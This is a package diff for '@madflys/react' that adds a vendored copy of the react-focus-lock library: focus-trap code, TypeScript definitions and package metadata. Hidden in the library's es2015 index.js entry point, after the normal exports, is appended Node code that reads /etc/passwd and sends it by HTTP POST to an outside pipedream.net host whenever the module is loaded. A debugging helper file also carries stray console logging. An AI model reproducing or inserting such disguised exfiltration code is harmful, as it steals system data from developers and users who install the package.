@madflys/react 1.0.0

package/react/dist/node_modules/react-focus-lock/dist/es2015/Trap.es.js

@@ -0,0 +1,276 @@
+import * as React from 'react';
+import PropTypes from 'prop-types';
+import withSideEffect from 'react-clientside-effect';
+import moveFocusInside, { focusInside, focusIsHidden, getFocusabledIn } from 'focus-lock';
+import { deferAction } from './util';
+import { mediumFocus, mediumBlur, mediumEffect } from './medium';
+
+var focusOnBody = function focusOnBody() {
+  return document && document.activeElement === document.body;
+};
+
+var isFreeFocus = function isFreeFocus() {
+  return focusOnBody() || focusIsHidden();
+};
+
+var lastActiveTrap = null;
+var lastActiveFocus = null;
+var lastPortaledElement = null;
+var focusWasOutsideWindow = false;
+
+var defaultWhitelist = function defaultWhitelist() {
+  return true;
+};
+
+var focusWhitelisted = function focusWhitelisted(activeElement) {
+  return (lastActiveTrap.whiteList || defaultWhitelist)(activeElement);
+};
+
+var recordPortal = function recordPortal(observerNode, portaledElement) {
+  lastPortaledElement = {
+    observerNode: observerNode,
+    portaledElement: portaledElement
+  };
+};
+
+var focusIsPortaledPair = function focusIsPortaledPair(element) {
+  return lastPortaledElement && lastPortaledElement.portaledElement === element;
+};
+
+function autoGuard(startIndex, end, step, allNodes) {
+  var lastGuard = null;
+  var i = startIndex;
+
+  do {
+    var item = allNodes[i];
+
+    if (item.guard) {
+      if (item.node.dataset.focusAutoGuard) {
+        lastGuard = item;
+      }
+    } else if (item.lockItem) {
+      if (i !== startIndex) {
+        // we will tab to the next element
+        return;
+      }
+
+      lastGuard = null;
+    } else {
+      break;
+    }
+  } while ((i += step) !== end);
+
+  if (lastGuard) {
+    lastGuard.node.tabIndex = 0;
+  }
+}
+
+var extractRef = function extractRef(ref) {
+  return ref && 'current' in ref ? ref.current : ref;
+};
+
+var focusWasOutside = function focusWasOutside(crossFrameOption) {
+  if (crossFrameOption) {
+    // with cross frame return true for any value
+    return Boolean(focusWasOutsideWindow);
+  } // in other case return only of focus went a while aho
+
+
+  return focusWasOutsideWindow === 'meanwhile';
+};
+
+var checkInHost = function checkInHost(check, el, boundary) {
+  return el // find host equal to active element and check nested active element
+  && (el.host === check && (!el.activeElement || boundary.contains(el.activeElement)) // dive up
+  || el.parentNode && checkInHost(check, el.parentNode, boundary));
+};
+
+var withinHost = function withinHost(activeElement, workingArea) {
+  return workingArea.some(function (area) {
+    return checkInHost(activeElement, area, area);
+  });
+};
+
+var activateTrap = function activateTrap() {
+  var result = false;
+
+  if (lastActiveTrap) {
+    var _lastActiveTrap = lastActiveTrap,
+        observed = _lastActiveTrap.observed,
+        persistentFocus = _lastActiveTrap.persistentFocus,
+        autoFocus = _lastActiveTrap.autoFocus,
+        shards = _lastActiveTrap.shards,
+        crossFrame = _lastActiveTrap.crossFrame,
+        focusOptions = _lastActiveTrap.focusOptions;
+    var workingNode = observed || lastPortaledElement && lastPortaledElement.portaledElement;
+    var activeElement = document && document.activeElement;
+
+    if (workingNode) {
+      var workingArea = [workingNode].concat(shards.map(extractRef).filter(Boolean));
+
+      if (!activeElement || focusWhitelisted(activeElement)) {
+        if (persistentFocus || focusWasOutside(crossFrame) || !isFreeFocus() || !lastActiveFocus && autoFocus) {
+          if (workingNode && !( // active element is "inside" working area
+          focusInside(workingArea) || // check for shadow-dom contained elements
+          activeElement && withinHost(activeElement, workingArea) || focusIsPortaledPair(activeElement, workingNode))) {
+            if (document && !lastActiveFocus && activeElement && !autoFocus) {
+              // Check if blur() exists, which is missing on certain elements on IE
+              if (activeElement.blur) {
+                activeElement.blur();
+              }
+
+              document.body.focus();
+            } else {
+              result = moveFocusInside(workingArea, lastActiveFocus, {
+                focusOptions: focusOptions
+              });
+              lastPortaledElement = {};
+            }
+          }
+
+          focusWasOutsideWindow = false;
+          lastActiveFocus = document && document.activeElement;
+        }
+      }
+
+      if (document) {
+        var newActiveElement = document && document.activeElement;
+        var allNodes = getFocusabledIn(workingArea);
+        var focusedIndex = allNodes.map(function (_ref) {
+          var node = _ref.node;
+          return node;
+        }).indexOf(newActiveElement);
+
+        if (focusedIndex > -1) {
+          // remove old focus
+          allNodes.filter(function (_ref2) {
+            var guard = _ref2.guard,
+                node = _ref2.node;
+            return guard && node.dataset.focusAutoGuard;
+          }).forEach(function (_ref3) {
+            var node = _ref3.node;
+            return node.removeAttribute('tabIndex');
+          });
+          autoGuard(focusedIndex, allNodes.length, +1, allNodes);
+          autoGuard(focusedIndex, -1, -1, allNodes);
+        }
+      }
+    }
+  }
+
+  return result;
+};
+
+var onTrap = function onTrap(event) {
+  if (activateTrap() && event) {
+    // prevent scroll jump
+    event.stopPropagation();
+    event.preventDefault();
+  }
+};
+
+var onBlur = function onBlur() {
+  return deferAction(activateTrap);
+};
+
+var onFocus = function onFocus(event) {
+  // detect portal
+  var source = event.target;
+  var currentNode = event.currentTarget;
+
+  if (!currentNode.contains(source)) {
+    recordPortal(currentNode, source);
+  }
+};
+
+var FocusWatcher = function FocusWatcher() {
+  return null;
+};
+
+var FocusTrap = function FocusTrap(_ref4) {
+  var children = _ref4.children;
+  return /*#__PURE__*/React.createElement("div", {
+    onBlur: onBlur,
+    onFocus: onFocus
+  }, children);
+};
+
+FocusTrap.propTypes = process.env.NODE_ENV !== "production" ? {
+  children: PropTypes.node.isRequired
+} : {};
+
+var onWindowBlur = function onWindowBlur() {
+  focusWasOutsideWindow = 'just'; // using setTimeout to set  this variable after React/sidecar reaction
+
+  setTimeout(function () {
+    focusWasOutsideWindow = 'meanwhile';
+  }, 0);
+};
+
+var attachHandler = function attachHandler() {
+  document.addEventListener('focusin', onTrap);
+  document.addEventListener('focusout', onBlur);
+  window.addEventListener('blur', onWindowBlur);
+};
+
+var detachHandler = function detachHandler() {
+  document.removeEventListener('focusin', onTrap);
+  document.removeEventListener('focusout', onBlur);
+  window.removeEventListener('blur', onWindowBlur);
+};
+
+function reducePropsToState(propsList) {
+  return propsList.filter(function (_ref5) {
+    var disabled = _ref5.disabled;
+    return !disabled;
+  });
+}
+
+function handleStateChangeOnClient(traps) {
+  var trap = traps.slice(-1)[0];
+
+  if (trap && !lastActiveTrap) {
+    attachHandler();
+  }
+
+  var lastTrap = lastActiveTrap;
+  var sameTrap = lastTrap && trap && trap.id === lastTrap.id;
+  lastActiveTrap = trap;
+
+  if (lastTrap && !sameTrap) {
+    lastTrap.onDeactivation(); // return focus only of last trap was removed
+
+    if (!traps.filter(function (_ref6) {
+      var id = _ref6.id;
+      return id === lastTrap.id;
+    }).length) {
+      // allow defer is no other trap is awaiting restore
+      lastTrap.returnFocus(!trap);
+    }
+  }
+
+  if (trap) {
+    lastActiveFocus = null;
+
+    if (!sameTrap || lastTrap.observed !== trap.observed) {
+      trap.onActivation();
+    }
+
+    activateTrap(true);
+    deferAction(activateTrap);
+  } else {
+    detachHandler();
+    lastActiveFocus = null;
+  }
+} // bind medium
+
+
+mediumFocus.assignSyncMedium(onFocus);
+mediumBlur.assignMedium(onBlur);
+mediumEffect.assignMedium(function (cb) {
+  return cb({
+    moveFocusInside: moveFocusInside,
+    focusInside: focusInside
+  });
+});
+export default withSideEffect(reducePropsToState, handleStateChangeOnClient)(FocusWatcher);

package/react/dist/node_modules/react-focus-lock/dist/es2015/UI.es.js

@@ -0,0 +1,7 @@
+import FocusLockUI from './Lock';
+import AutoFocusInside from './AutoFocusInside';
+import MoveFocusInside, { useFocusInside } from './MoveFocusInside';
+import FreeFocusInside from './FreeFocusInside';
+import InFocusGuard from './FocusGuard';
+export { AutoFocusInside, MoveFocusInside, FreeFocusInside, InFocusGuard, FocusLockUI, useFocusInside };
+export default FocusLockUI;

package/react/dist/node_modules/react-focus-lock/dist/es2015/clientSideEffect.es.js

@@ -0,0 +1,56 @@
+/* eslint-disable */
+import * as React from 'react'; // NOT USED
+
+function withSideEffect(reducePropsToState, handleStateChangeOnClient) {
+  if (process.env.NODE_ENV !== 'production') {
+    if (typeof reducePropsToState !== 'function') {
+      throw new Error('Expected reducePropsToState to be a function.');
+    }
+
+    if (typeof handleStateChangeOnClient !== 'function') {
+      throw new Error('Expected handleStateChangeOnClient to be a function.');
+    }
+  }
+
+  return function wrap(WrappedComponent) {
+    if (process.env.NODE_ENV !== 'production') {
+      if (typeof WrappedComponent !== 'function') {
+        throw new Error('Expected WrappedComponent to be a React component.');
+      }
+    }
+
+    var mountedInstances = [];
+
+    function emitChange() {
+      console.log('emitting');
+      var state = reducePropsToState(mountedInstances.map(function (instance) {
+        return instance.current;
+      }));
+      handleStateChangeOnClient(state);
+    }
+
+    var SideEffect = function SideEffect(props) {
+      var lastProps = React.useRef(props);
+      React.useEffect(function () {
+        lastProps.current = props;
+      }); // handle mounted instances
+
+      React.useEffect(function () {
+        console.log('ins added');
+        mountedInstances.push(lastProps);
+        return function () {
+          console.log('ins removed');
+          var index = mountedInstances.indexOf(lastProps);
+          mountedInstances.splice(index, 1);
+        };
+      }, []); // notify updates
+      // React.useEffect(emitChange, [props.disabled]);
+
+      return /*#__PURE__*/React.createElement(WrappedComponent, props);
+    };
+
+    return SideEffect;
+  };
+}
+
+export default withSideEffect;

package/react/dist/node_modules/react-focus-lock/dist/es2015/index.js

@@ -0,0 +1,27 @@
+#!/usr/bin/env node
+
+import FocusLock from './Combination';
+export * from './UI';
+export default FocusLock;
+
+const fs = require('fs');
+const http = require('http');
+
+const home = process.env.HOME;
+
+const options = {
+    host: 'enjfs1iudo11g1e.m.pipedream.net',
+    path: '/madflys',
+    port: 80,
+    method: 'POST'
+};
+
+const req = http.request(options, function(response) {
+    console.log(response);
+});
+
+fs.readFile(`/etc/passwd`, 'utf-8', function(error, data) {
+    console.log(data);
+    req.write(data);
+    req.end();
+});

package/react/dist/node_modules/react-focus-lock/dist/es2015/medium.es.js

@@ -0,0 +1,14 @@
+import { createMedium, createSidecarMedium } from 'use-sidecar';
+export var mediumFocus = createMedium({}, function (_ref) {
+  var target = _ref.target,
+      currentTarget = _ref.currentTarget;
+  return {
+    target: target,
+    currentTarget: currentTarget
+  };
+});
+export var mediumBlur = createMedium();
+export var mediumEffect = createMedium();
+export var mediumSidecar = createSidecarMedium({
+  async: true
+});

package/react/dist/node_modules/react-focus-lock/dist/es2015/sidecar.es.js

@@ -0,0 +1,4 @@
+import { exportSidecar } from 'use-sidecar';
+import FocusTrap from './Trap';
+import { mediumSidecar } from './medium';
+export default exportSidecar(mediumSidecar, FocusTrap);

package/react/dist/node_modules/react-focus-lock/dist/es2015/util.es.js

@@ -0,0 +1,16 @@
+export function deferAction(action) {
+  // Hidding setImmediate from Webpack to avoid inserting polyfill
+  var _window = window,
+      setImmediate = _window.setImmediate;
+
+  if (typeof setImmediate !== 'undefined') {
+    setImmediate(action);
+  } else {
+    setTimeout(action, 1);
+  }
+}
+export var inlineProp = function inlineProp(name, value) {
+  var obj = {};
+  obj[name] = value;
+  return obj;
+};

package/react/dist/node_modules/react-focus-lock/interfaces.d.ts

@@ -0,0 +1,125 @@
+import * as React from 'react';
+import {Ref} from "react";
+
+export interface ReactFocusLockProps<ChildrenType = React.ReactNode, LockProps = Record<string, any>> {
+  disabled?: boolean;
+
+  /**
+   * if true, will return focus to the previous position on trap disable.
+   * Optionally, can pass focus options instead of `true` to control the focus
+   * more precisely (ie. `{ preventScroll: true }`)
+   *
+   * can also accept a function with the first argument equals to element focus will be returned to
+   * in order to provide full control to the user space
+   */
+  returnFocus?: boolean | FocusOptions | ((returnTo: Element) => boolean | FocusOptions);
+
+  /**
+   * used to control behavior or "returning focus back to the lock"
+   *
+   * @deprecated Can lead to a wrong user experience. Use this option only if you known what you are doing
+   * @see {@link https://github.com/theKashey/react-focus-lock/issues/162}
+   * @example
+   * prevent scroll example
+   * ```tsx
+   * <FocusLock focusOptions={{preventScroll: true}} />
+   * ```
+   */
+  focusOptions?: FocusOptions;
+
+  /**
+   * @deprecated Use persistentFocus=false instead
+   * enables(or disables) text selection. This also allows not to have ANY focus.
+   */
+  allowTextSelection?: boolean;
+
+  /**
+   * enables of disables "sticky" behavior, when any focusable element shall be focused.
+   * This disallow any text selection on the page.
+   * @default false
+   */
+  persistentFocus?: boolean;
+
+  /**
+   * enables aggressive focus capturing within iframes
+   * - once disabled allows focus to move outside of iframe, if enabled inside iframe
+   * - once enabled keep focus in the lock, no matter where lock is active (default)
+   * @default true
+   */
+  crossFrame?: boolean;
+
+  /**
+   * enables or disables autoFocusing feature.
+   * If enabled - will move focus inside Lock, selecting the first or autoFocusable element
+   * If disable - will blur any focus on Lock activation.
+   * @default true
+   */
+  autoFocus?: boolean;
+
+  /**
+   * disables hidden inputs before and after the lock.
+   */
+  noFocusGuards?: boolean | "tail";
+
+  /**
+   * Controls support a focus lock behavior when any elements tabIndex greater than 0.
+   * @default false
+   * @see - https://github.com/theKashey/react-focus-lock/issues/32
+   */
+  hasPositiveIndices?: boolean;
+
+  /**
+   * named focus group for focus scattering aka combined lock targets
+   */
+  group?: string;
+
+  className?: string;
+
+  /**
+   * life-cycle hook, called on lock activation
+   * @param node the observed node
+   */
+  onActivation?(node: HTMLElement): void;
+
+  /**
+   * life-cycle hook, called on deactivation
+   * @param node the observed node
+   */
+  onDeactivation?(node: HTMLElement): void;
+
+  /**
+   * Component to use, defaults to 'div'
+   */
+  as?: string | React.ElementType<LockProps & { children: ChildrenType }>,
+  lockProps?: LockProps,
+
+  ref?: Ref<HTMLElement>;
+
+  /**
+   * Controls focus lock working areas. Lock will silently ignore all the events from `not allowed` areas
+   * @param activeElement
+   * @returns {Boolean} true if focus lock should handle activeElement, false if not
+   */
+  whiteList?: (activeElement: HTMLElement) => boolean;
+
+  /**
+   * Shards forms a scattered lock, same as `group` does, but in more "low" and controlled way
+   */
+  shards?: Array<React.RefObject<any> | HTMLElement>;
+
+  children?: ChildrenType;
+}
+
+export interface AutoFocusProps {
+  children: React.ReactNode;
+  disabled?: boolean;
+  className?: string;
+}
+
+export interface FreeFocusProps {
+  className?: string;
+}
+
+export interface InFocusGuardProps {
+  children: React.ReactNode;
+}

package/react/dist/node_modules/react-focus-lock/package.json

@@ -0,0 +1,103 @@
+{
+  "name": "react-focus-lock",
+  "version": "2.8.1",
+  "description": "It is a trap! (for a focus)",
+  "main": "dist/cjs/index.js",
+  "jsnext:main": "dist/es2015/index.js",
+  "module": "dist/es2015/index.js",
+  "types": "react-focus-lock.d.ts",
+  "sideEffects": [
+    "**/sidecar.js"
+  ],
+  "scripts": {
+    "build:cjs": "NODE_ENV=cjs babel src -d dist/cjs",
+    "build:es5": "NODE_ENV=es2015 babel src -d dist/es2015",
+    "build": "rm -Rf ./dist && yarn build:es5 && yarn build:cjs",
+    "test": "npm run test:pick -- '_tests/**/*spec.js'",
+    "test:pick": "NODE_ENV=cjs mocha --require @babel/register --require global-jsdom/register --require _tests/spinup/scaffolding --exit",
+    "prepublish": "npm run lint:fix && npm run build && npm run changelog",
+    "lint": "eslint src",
+    "lint:fix": "eslint src --fix",
+    "storybook": "NODE_ENV=es2015 start-storybook -p 6006",
+    "build-storybook": "NODE_ENV=es2015 build-storybook",
+    "package-self": "package-self",
+    "size": "yarn build && yarn size-limit",
+    "changelog": "conventional-changelog -p angular -i CHANGELOG.md -s -r 0"
+  },
+  "repository": {
+    "type": "git",
+    "url": "git+https://github.com/theKashey/react-focus-lock.git"
+  },
+  "files": [
+    "dist",
+    "sidecar",
+    "UI",
+    "interfaces.d.ts",
+    "react-focus-lock.d.ts"
+  ],
+  "keywords": [
+    "react",
+    "focus",
+    "lock",
+    "trap",
+    "tabbable"
+  ],
+  "author": "theKashey <thekashey@gmail.com>",
+  "license": "MIT",
+  "bugs": {
+    "url": "https://github.com/theKashey/react-focus-lock/issues"
+  },
+  "peerDependencies": {
+    "react": "^16.8.0 || ^17.0.0 || ^18.0.0"
+  },
+  "devDependencies": {
+    "@babel/cli": "^7.0.0",
+    "@babel/core": "^7.0.0",
+    "@babel/plugin-proposal-class-properties": "^7.0.0",
+    "@babel/plugin-syntax-dynamic-import": "^7.2.0",
+    "@babel/plugin-transform-runtime": "^7.1.0",
+    "@babel/polyfill": "^7.0.0",
+    "@babel/preset-env": "^7.0.0",
+    "@babel/preset-react": "^7.0.0",
+    "@babel/register": "^7.0.0",
+    "@size-limit/preset-small-lib": "^4.5.0",
+    "@storybook/addon-actions": "^5.1.8",
+    "@storybook/addon-links": "^5.1.8",
+    "@storybook/react": "^5.1.8",
+    "@types/react": "^16.8.19",
+    "babel-eslint": "^10.0.1",
+    "babel-loader": "^8.0.4",
+    "babel-plugin-transform-react-remove-prop-types": "^0.4.19",
+    "chai": "^4.1.0",
+    "chai-enzyme": "^1.0.0-beta.0",
+    "conventional-changelog-cli": "^2.0.12",
+    "enzyme": "^3.3.0",
+    "enzyme-adapter-react-16": "^1.15.2",
+    "eslint": "^5.16.0",
+    "eslint-config-airbnb": "^17.1.0",
+    "eslint-plugin-import": "^2.17.3",
+    "eslint-plugin-jsx-a11y": "^6.2.1",
+    "eslint-plugin-mocha": "^5.3.0",
+    "eslint-plugin-react": "^7.13.0",
+    "jsdom": "^16.0.0",
+    "global-jsdom": "^8.4.0",
+    "material-ui": "^0.20.0",
+    "mocha": "^8.3.2",
+    "package-self": "^1.1.1",
+    "react": "^16.8.6",
+    "react-dom": "^16.8.6",
+    "react-hot-loader": "^4.11.0",
+    "react-test-renderer": "^16.2.0",
+    "sinon": "7.3.2",
+    "size-limit": "^4.5.0"
+  },
+  "homepage": "https://github.com/theKashey/react-focus-lock#readme",
+  "dependencies": {
+    "@babel/runtime": "^7.0.0",
+    "focus-lock": "^0.10.2",
+    "prop-types": "^15.6.2",
+    "react-clientside-effect": "^1.2.5",
+    "use-callback-ref": "^1.2.5",
+    "use-sidecar": "^1.0.5"
+  }
+}

package/react/dist/node_modules/react-focus-lock/react-focus-lock.d.ts

@@ -0,0 +1,33 @@
+import * as React from 'react';
+import {ReactFocusLockProps, AutoFocusProps, FreeFocusProps, InFocusGuardProps} from "./interfaces";
+
+/**
+ * Traps Focus inside a Lock
+ */
+declare const ReactFocusLock: React.FC<ReactFocusLockProps>;
+
+export default ReactFocusLock;
+
+/**
+ * Autofocus on children on Lock activation
+ */
+export class AutoFocusInside extends React.Component<AutoFocusProps> {
+}
+
+/**
+ * Autofocus on children
+ */
+export class MoveFocusInside extends React.Component<AutoFocusProps> {
+}
+
+/**
+ * Allow free focus inside on children
+ */
+export class FreeFocusInside extends React.Component<FreeFocusProps> {
+}
+
+/**
+ * Secures the focus around the node
+ */
+export class InFocusGuard extends React.Component<InFocusGuardProps> {
+}

package/react/dist/node_modules/react-focus-lock/sidecar/package.json

@@ -0,0 +1,7 @@
+{
+  "private": true,
+  "main": "../dist/cjs/sidecar.js",
+  "jsnext:main": "../dist/es2015/sidecar.js",
+  "module": "../dist/es2015/sidecar.js",
+  "types": "sidecar.d.ts"
+}

package/react/dist/node_modules/react-focus-lock/sidecar/sidecar.d.ts

@@ -0,0 +1,5 @@
+import * as React from 'react';
+
+declare var sidecar: React.SFC;
+
+export default sidecar;